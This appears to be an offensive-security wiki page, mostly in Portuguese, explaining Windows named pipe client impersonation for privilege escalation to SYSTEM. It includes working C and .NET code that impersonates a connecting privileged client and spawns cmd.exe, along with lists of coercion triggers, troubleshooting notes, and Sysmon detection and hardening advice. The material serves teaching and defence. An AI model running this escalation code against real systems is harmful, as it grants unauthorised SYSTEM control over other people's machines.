Named Pipe Client Impersonation

Reading time: 7 minutes

Named Pipe client impersonation é uma primitiva de elevação de privilégios local que permite a uma thread de servidor de named pipe adotar o contexto de segurança de um cliente que se conecta a ela. Na prática, um atacante que consegue executar código com SeImpersonatePrivilege pode forçar um cliente privilegiado (por exemplo, um serviço SYSTEM) a conectar-se a um pipe controlado pelo atacante, chamar ImpersonateNamedPipeClient, duplicar o token resultante em um token primário e spawnar um processo como o cliente (frequentemente NT AUTHORITY\SYSTEM).

Esta página foca na técnica central. Para cadeias de exploit ponta-a-ponta que forçam o SYSTEM a conectar-se ao seu pipe, veja as páginas da família Potato referenciadas abaixo.

TL;DR

• Crie um named pipe: \.\pipe<random> e aguarde uma conexão.
• Faça um componente privilegiado conectar-se a ele (spooler/DCOM/EFSRPC/etc.).
• Leia pelo menos uma mensagem do pipe, então chame ImpersonateNamedPipeClient.
• Abra o token de impersonação da thread atual, DuplicateTokenEx(TokenPrimary), e use CreateProcessWithTokenW/CreateProcessAsUser para obter um processo SYSTEM.

Requisitos e APIs principais

• Privilégios tipicamente necessários para o processo/thread que chama:
  • SeImpersonatePrivilege para impersonar com sucesso um cliente que se conecta e para usar CreateProcessWithTokenW.
  • Alternativamente, após impersonar o SYSTEM, você pode usar CreateProcessAsUser, que pode requerer SeAssignPrimaryTokenPrivilege e SeIncreaseQuotaPrivilege (estes são satisfeitos quando você está impersonando SYSTEM).
• APIs principais usadas:
  • CreateNamedPipe / ConnectNamedPipe
  • ReadFile/WriteFile (é necessário ler pelo menos uma mensagem antes da impersonação)
  • ImpersonateNamedPipeClient and RevertToSelf
  • OpenThreadToken, DuplicateTokenEx(TokenPrimary)
  • CreateProcessWithTokenW or CreateProcessAsUser
• Nível de impersonação: para realizar ações úteis localmente, o cliente deve permitir SecurityImpersonation (padrão para muitos clientes RPC/named-pipe locais). Clientes podem reduzir isso com SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION ao abrir o pipe.

Fluxo mínimo Win32 (C)

// Minimal skeleton (no error handling hardening for brevity)
#include <windows.h>
#include <stdio.h>

int main(void) {
LPCSTR pipe = "\\\\.\\pipe\\evil";
HANDLE hPipe = CreateNamedPipeA(
pipe,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
1, 0, 0, 0, NULL);

if (hPipe == INVALID_HANDLE_VALUE) return 1;

// Wait for privileged client to connect (see Triggers section)
if (!ConnectNamedPipe(hPipe, NULL)) return 2;

// Read at least one message before impersonation
char buf[4]; DWORD rb = 0; ReadFile(hPipe, buf, sizeof(buf), &rb, NULL);

// Impersonate the last message sender
if (!ImpersonateNamedPipeClient(hPipe)) return 3; // ERROR_CANNOT_IMPERSONATE==1368

// Extract and duplicate the impersonation token into a primary token
HANDLE impTok = NULL, priTok = NULL;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &impTok)) return 4;
if (!DuplicateTokenEx(impTok, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &priTok)) return 5;

// Spawn as the client (often SYSTEM). CreateProcessWithTokenW requires SeImpersonatePrivilege.
STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = {0};
if (!CreateProcessWithTokenW(priTok, LOGON_NETCREDENTIALS_ONLY,
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
0, NULL, NULL, &si, &pi)) {
// Fallback: CreateProcessAsUser after you already impersonated SYSTEM
CreateProcessAsUserW(priTok, L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}

RevertToSelf(); // Restore original context
return 0;
}

Notes:

• Se ImpersonateNamedPipeClient retornar ERROR_CANNOT_IMPERSONATE (1368), certifique-se de ler do pipe primeiro e de que o cliente não tenha restringido a impersonação ao nível Identification.
• Prefira DuplicateTokenEx com SecurityImpersonation e TokenPrimary para criar um token primário adequado para criação de processos.

.NET exemplo rápido

Em .NET, NamedPipeServerStream pode realizar impersonação via RunAsClient. Uma vez impersonando, duplique o token da thread e crie um processo.

using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
class P {
[DllImport("advapi32", SetLastError=true)] static extern bool OpenThreadToken(IntPtr t, uint a, bool o, out IntPtr h);
[DllImport("advapi32", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr e, uint a, IntPtr sd, int il, int tt, out IntPtr p);
[DllImport("advapi32", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessWithTokenW(IntPtr hTok, int f, string app, string cmd, int c, IntPtr env, string cwd, ref ProcessStartInfo si, out Process pi);
static void Main(){
using var s = new NamedPipeServerStream("evil", PipeDirection.InOut, 1);
s.WaitForConnection();
// Ensure client sent something so the token is available
s.RunAsClient(() => {
IntPtr t; if(!OpenThreadToken(Process.GetCurrentProcess().Handle, 0xF01FF, false, out t)) return; // TOKEN_ALL_ACCESS
IntPtr p; if(!DuplicateTokenEx(t, 0xF01FF, IntPtr.Zero, 2, 1, out p)) return; // SecurityImpersonation, TokenPrimary
var psi = new ProcessStartInfo("C\\Windows\\System32\\cmd.exe");
Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref psi, out pi);
});
}
}

Common triggers/coercions to get SYSTEM to your pipe

These techniques coerce privileged services to connect to your named pipe so you can impersonate them:

• Gatilho Print Spooler RPC (PrintSpoofer)
• variações de ativação DCOM/reflexão NTLM (RoguePotato/JuicyPotato[NG], GodPotato)
• EFSRPC pipes (EfsPotato/SharpEfsPotato)

See detailed usage and compatibility here:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see:

From High Integrity to SYSTEM with Name Pipes

Service Triggers

Troubleshooting and gotchas

• Você deve ler pelo menos uma mensagem do pipe antes de chamar ImpersonateNamedPipeClient; caso contrário você receberá ERROR_CANNOT_IMPERSONATE (1368).
• Se o cliente se conectar com SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, o servidor não pode se impersonar totalmente; verifique o nível de impersonação do token via GetTokenInformation(TokenImpersonationLevel).
• CreateProcessWithTokenW requer SeImpersonatePrivilege no chamador. Se isso falhar com ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser depois de já ter se impersonado como SYSTEM.
• Garanta que o descritor de segurança do seu pipe permita que o serviço alvo se conecte se você o endurecer; por padrão, pipes sob \.\pipe são acessíveis de acordo com a DACL do servidor.

Detection and hardening

• Monitore a criação e conexões de named pipes. Sysmon Event IDs 17 (Pipe Created) e 18 (Pipe Connected) são úteis para estabelecer uma linha de base de nomes de pipes legítimos e detectar pipes incomuns, com aparência aleatória, que precedem eventos de manipulação de token.
• Procure por sequências: processo cria um pipe, um serviço SYSTEM se conecta, então o processo criador inicia um processo filho como SYSTEM.
• Reduza a exposição removendo SeImpersonatePrivilege de contas de serviço não essenciais e evitando logons de serviço desnecessários com privilégios elevados.
• Desenvolvimento defensivo: ao conectar-se a named pipes não confiáveis, especifique SECURITY_SQOS_PRESENT com SECURITY_IDENTIFICATION para evitar que servidores se impersonem totalmente no cliente, salvo quando necessário.

References

• Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
• ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation